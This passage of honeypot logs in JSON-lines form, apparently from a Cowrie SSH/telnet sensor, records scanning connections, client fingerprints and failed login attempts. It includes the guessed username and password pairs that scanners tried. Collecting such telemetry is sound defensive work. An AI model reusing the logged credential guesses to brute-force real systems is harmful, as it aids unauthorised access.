lgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:21.679487Z","src_ip":"57.128.222.14","session":"650314228ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:22.153169Z","src_ip":"57.128.222.14","session":"650314228ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:23.265982Z","src_ip":"57.128.222.14","session":"650314228ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46796,"dst_ip":"159.203.135.109","dst_port":23,"session":"c188d65948e1","protocol":"telnet","message":"New connection: 38.60.198.128:46796 (159.203.135.109:23) [session: c188d65948e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:23.685765Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42878,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7fd32f7541b","protocol":"telnet","message":"New connection: 38.60.198.128:42878 (159.203.135.109:23) [session: b7fd32f7541b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:25.018569Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52160,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5073d0a357","protocol":"telnet","message":"New connection: 38.60.198.128:52160 (159.203.135.109:23) [session: 2d5073d0a357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:27.007554Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54216,"dst_ip":"159.203.135.109","dst_port":23,"session":"13fa5a79549c","protocol":"telnet","message":"New connection: 38.60.198.128:54216 (159.203.135.109:23) [session: 13fa5a79549c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:29.675977Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f94b6c89fa3","protocol":"telnet","message":"New connection: 192.211.53.160:55720 (159.203.135.109:23) [session: 4f94b6c89fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:36.132953Z"}
{"eventid":"cowrie.session.closed","duration":42.219801902770996,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:36.399860Z","src_ip":"38.60.198.128","session":"80325c82a228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.80999493598938,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:36.593451Z","src_ip":"38.60.198.128","session":"070ad385926d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":55712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c3c089579a","protocol":"telnet","message":"New connection: 192.211.53.160:55712 (159.203.135.109:23) [session: f5c3c089579a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:37.085233Z"}
{"eventid":"cowrie.session.closed","duration":42.0125048160553,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:37.836012Z","src_ip":"38.60.198.128","session":"76fa0eeae268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36819839477539,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:41.340256Z","src_ip":"38.60.198.128","session":"88cacac35b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41490,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac5ecc065fc","protocol":"telnet","message":"New connection: 38.60.198.128:41490 (159.203.135.109:23) [session: aac5ecc065fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:42.853140Z"}
{"eventid":"cowrie.session.closed","duration":38.95847201347351,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:44.947604Z","src_ip":"38.60.198.128","session":"d550f9a19381","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47330,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b9e7ba5965","protocol":"telnet","message":"New connection: 38.54.119.93:47330 (10.17.0.5:23) [session: 93b9e7ba5965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:47.586790Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58406,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbb80119e497","protocol":"telnet","message":"New connection: 192.211.53.160:58406 (159.203.135.109:23) [session: cbb80119e497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:48.664218Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.70.122.120","src_port":57872,"dst_ip":"10.17.0.5","dst_port":22,"session":"647900844c1e","protocol":"ssh","message":"New connection: 193.70.122.120:57872 (10.17.0.5:22) [session: 647900844c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:48.870366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:48.875798Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:48.956521Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:d7:7d:a2:f1:cd:38:01:64:5f:ca:90:57:7c:46:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OlWDXYVMQtRE52veQuvGmN0aHx+FOGSvxrkXDT/7vuYzSnZ/7uFSlnOygIp/I2/p9PFUmp+Z1SL3/2N1cekD/aRRqkMMj3layWP+z+cnP0jbVmmew12eXWOTv86QiIRXMWOAhPuSTdHQyxkWMV4UJ7cVjlVSFWwmVzm7fxAFdttE/XsrXqmzl9fGb/O+KdEXx7T0ei6+0ZmwjWPVuIZrh71MFgt9MSah966PDKNHGS09tSqCsoiQkr4kBN3NsSIl0vMa+n0E3/K9I3iQSa6++MEzF9haNPMD1H0unXRryQ29Prfbp5ojEMxborHtM9+ObLXxYk1nd15QmMNJNRX/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:d7:7d:a2:f1:cd:38:01:64:5f:ca:90:57:7c:46:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.335480Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:d7:7d:a2:f1:cd:38:01:64:5f:ca:90:57:7c:46:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OlWDXYVMQtRE52veQuvGmN0aHx+FOGSvxrkXDT/7vuYzSnZ/7uFSlnOygIp/I2/p9PFUmp+Z1SL3/2N1cekD/aRRqkMMj3layWP+z+cnP0jbVmmew12eXWOTv86QiIRXMWOAhPuSTdHQyxkWMV4UJ7cVjlVSFWwmVzm7fxAFdttE/XsrXqmzl9fGb/O+KdEXx7T0ei6+0ZmwjWPVuIZrh71MFgt9MSah966PDKNHGS09tSqCsoiQkr4kBN3NsSIl0vMa+n0E3/K9I3iQSa6++MEzF9haNPMD1H0unXRryQ29Prfbp5ojEMxborHtM9+ObLXxYk1nd15QmMNJNRX/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.339160Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:cf:8e:88:00:21:d4:49:50:e7:3e:4c:19:81:fe:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVBdMp/vbqElVYJqj32Q1GpPXQxB4Z9LDAcQSgEnUvrGkDPoICoo+3O41nMmvZDpC8m3+81ih1dBAp3MVGRddMSb0F4z/I5+8v6r9sdB0NrzeU6e0lK6Gtn4ETKI99Q1YfueuxBBtIgK399e6lx2nMKR46q9Q9c0yxzmzQKZ8hKCTEO9RMQkXllDAJIAQp/2/5DA5Zljdim7rF3prCBTYf2Lwcxl2tq7KtokD2pA4hWEpkzq4TYE9F0vJ3V6gu0OkPeiENHU/npgdLYC/kOKfyZLvWKx26t0ebbeAqMwdZKKgzJXstB9VS6HQHEl917o6ujJ2Jk8hQCpQgakIYtLh3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:cf:8e:88:00:21:d4:49:50:e7:3e:4c:19:81:fe:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.420552Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:cf:8e:88:00:21:d4:49:50:e7:3e:4c:19:81:fe:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVBdMp/vbqElVYJqj32Q1GpPXQxB4Z9LDAcQSgEnUvrGkDPoICoo+3O41nMmvZDpC8m3+81ih1dBAp3MVGRddMSb0F4z/I5+8v6r9sdB0NrzeU6e0lK6Gtn4ETKI99Q1YfueuxBBtIgK399e6lx2nMKR46q9Q9c0yxzmzQKZ8hKCTEO9RMQkXllDAJIAQp/2/5DA5Zljdim7rF3prCBTYf2Lwcxl2tq7KtokD2pA4hWEpkzq4TYE9F0vJ3V6gu0OkPeiENHU/npgdLYC/kOKfyZLvWKx26t0ebbeAqMwdZKKgzJXstB9VS6HQHEl917o6ujJ2Jk8hQCpQgakIYtLh3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.424461Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:8d:bc:ec:34:09:4c:57:f7:d3:a9:d4:5b:fb:c8:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkXvyiO3zDYgMtYHVd2WdVCmx/UyrRxvl8qekFj/NTK8spY1+JTT7XkW8s0bTuC1KeiFvUqw8W/Ecu1VX0kgdok5J9jSz4+V1pinx+STsB5QnpM01GbMRJ7pZeIQG9h8FliadWRUCA9xGdSV/QuYUnay4qffma/mjvOSOCGyxI2ladQiwoZT0IMl7tln6RYJCC+eRecz/ksyGMsH5R6C5fnN24wjrO1B1PMF7bgGEzm4ZmXkf5XXPPgOMimwYYevWTErJpYYH8fxg0d30/C2PJ+x0uG86L0xXisSPJJHzURr4L6mFTlmr3Lv6gT0S9f9Ikc/6g+c++uX7P1nkp6Sah1LOSsCguqjAH3ln3140NrOATXYMEzV8Ifi5fsRwxxZ4LpvNTmpMDLsqmidSaVH+vTncXw6FLaeTaKfnb5Ekq33DK4AAfDkfscvqQoHp1Xvavthe123NzB/ZowRmzVoYgBBVTR0lOQTZ8PymgUFLbwqnnWF0ROK22RJkeUftrqKTUpyxMwJbVApb2AbuI8Q18qh+s2ByfyTSaFSI04LtMVfsZm8Yr0ZV/lSKDRZVrSpc5cnCxmp66KrBk58vscl2rpqQBZNcZSW26CFfQmcIYgudRNhv+zsXUEucWAeMIcrasl0U3oTKUVHcOGUwkjPRSSvT9L4u7Mg7qNKfhzIpMLQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:8d:bc:ec:34:09:4c:57:f7:d3:a9:d4:5b:fb:c8:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.505560Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:8d:bc:ec:34:09:4c:57:f7:d3:a9:d4:5b:fb:c8:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkXvyiO3zDYgMtYHVd2WdVCmx/UyrRxvl8qekFj/NTK8spY1+JTT7XkW8s0bTuC1KeiFvUqw8W/Ecu1VX0kgdok5J9jSz4+V1pinx+STsB5QnpM01GbMRJ7pZeIQG9h8FliadWRUCA9xGdSV/QuYUnay4qffma/mjvOSOCGyxI2ladQiwoZT0IMl7tln6RYJCC+eRecz/ksyGMsH5R6C5fnN24wjrO1B1PMF7bgGEzm4ZmXkf5XXPPgOMimwYYevWTErJpYYH8fxg0d30/C2PJ+x0uG86L0xXisSPJJHzURr4L6mFTlmr3Lv6gT0S9f9Ikc/6g+c++uX7P1nkp6Sah1LOSsCguqjAH3ln3140NrOATXYMEzV8Ifi5fsRwxxZ4LpvNTmpMDLsqmidSaVH+vTncXw6FLaeTaKfnb5Ekq33DK4AAfDkfscvqQoHp1Xvavthe123NzB/ZowRmzVoYgBBVTR0lOQTZ8PymgUFLbwqnnWF0ROK22RJkeUftrqKTUpyxMwJbVApb2AbuI8Q18qh+s2ByfyTSaFSI04LtMVfsZm8Yr0ZV/lSKDRZVrSpc5cnCxmp66KrBk58vscl2rpqQBZNcZSW26CFfQmcIYgudRNhv+zsXUEucWAeMIcrasl0U3oTKUVHcOGUwkjPRSSvT9L4u7Mg7qNKfhzIpMLQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.511983Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGADbE12HgFzfYvVYBr+R+5g8VQWTtGCi8X/VTiWaOD5","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.593761Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:b1:7e:74:3d:51:1c:34:30:8f:20:c1:d7:e8:63:5f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGADbE12HgFzfYvVYBr+R+5g8VQWTtGCi8X/VTiWaOD5","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.597317Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:db:a4:2e:5e:48:6f:2f:a0:74:7f:4e:46:48:ac:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnYEmeavH5Chk6LncBdchuPYsHn1fuSKWOXnj3Gd56NqajVcIAgq2uyGciy58h3c3O+8yYQDgDPIq6BKh8hf8E1Ul/uN3zBOHjKbYezId3F9Zk90sBVDRnTFlYWEv6oKbaSIa4W5It6VZFF0pWowjMKYpsQLC9hrpyZD359fj9hwL1akXrjuSMZd5OCpu1M4NfzZ8sptMCNheBs4HJBfIPZcbsuvunXdW17ArDhzw6UKiUXeDwTZmzNFH8fxcGAIRi0f/wyFDeIYR7L91Q7kV84VqLJD1CKZoSIAVfs2tuUVNVuaRxFyrMJR9T+l9L8ZhsnyHO45cL1ImLnJuJwpWUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:db:a4:2e:5e:48:6f:2f:a0:74:7f:4e:46:48:ac:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.678387Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:db:a4:2e:5e:48:6f:2f:a0:74:7f:4e:46:48:ac:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnYEmeavH5Chk6LncBdchuPYsHn1fuSKWOXnj3Gd56NqajVcIAgq2uyGciy58h3c3O+8yYQDgDPIq6BKh8hf8E1Ul/uN3zBOHjKbYezId3F9Zk90sBVDRnTFlYWEv6oKbaSIa4W5It6VZFF0pWowjMKYpsQLC9hrpyZD359fj9hwL1akXrjuSMZd5OCpu1M4NfzZ8sptMCNheBs4HJBfIPZcbsuvunXdW17ArDhzw6UKiUXeDwTZmzNFH8fxcGAIRi0f/wyFDeIYR7L91Q7kV84VqLJD1CKZoSIAVfs2tuUVNVuaRxFyrMJR9T+l9L8ZhsnyHO45cL1ImLnJuJwpWUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.682435Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:49.763259Z","src_ip":"193.70.122.120","session":"647900844c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58268,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9b21aed6c6","protocol":"telnet","message":"New connection: 192.211.53.160:58268 (159.203.135.109:23) [session: 6e9b21aed6c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:50.989331Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":52114,"dst_ip":"159.203.135.109","dst_port":23,"session":"8818f4d4571b","protocol":"telnet","message":"New connection: 38.60.198.128:52114 (159.203.135.109:23) [session: 8818f4d4571b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:53.129016Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":53684,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9beea0252b6","protocol":"ssh","message":"New connection: 198.98.56.227:53684 (10.17.0.5:22) [session: b9beea0252b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:53.440563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:53.447594Z","src_ip":"198.98.56.227","session":"b9beea0252b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:53.797877Z","src_ip":"198.98.56.227","session":"b9beea0252b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0186214447021484,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:54.007871Z","src_ip":"192.211.53.160","session":"6e9b21aed6c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin-1234","message":"login attempt [root/admin-1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:54.830917Z","src_ip":"198.98.56.227","session":"b9beea0252b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":58238,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe73cb94bd3d","protocol":"telnet","message":"New connection: 192.211.53.160:58238 (159.203.135.109:23) [session: fe73cb94bd3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:54.903555Z"}
{"eventid":"cowrie.session.closed","duration":0.08648204803466797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:54.989930Z","src_ip":"192.211.53.160","session":"fe73cb94bd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":17689,"dst_ip":"10.17.0.5","dst_port":22,"session":"35534a2e4ae3","protocol":"ssh","message":"New connection: 43.224.126.107:17689 (10.17.0.5:22) [session: 35534a2e4ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:55.826323Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:55.845625Z","src_ip":"198.98.56.227","session":"b9beea0252b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.73731327056885,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:56.344724Z","src_ip":"38.60.198.128","session":"3fa918a63ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.30013394355774,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:28:57.886808Z","src_ip":"38.54.119.93","session":"93b9e7ba5965","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38634,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a049b97f92","protocol":"telnet","message":"New connection: 38.60.198.128:38634 (159.203.135.109:23) [session: f9a049b97f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:06.657218Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38902,"dst_ip":"159.203.135.109","dst_port":23,"session":"d312c92c05f6","protocol":"telnet","message":"New connection: 38.60.198.128:38902 (159.203.135.109:23) [session: d312c92c05f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:29:07.906232Z"}
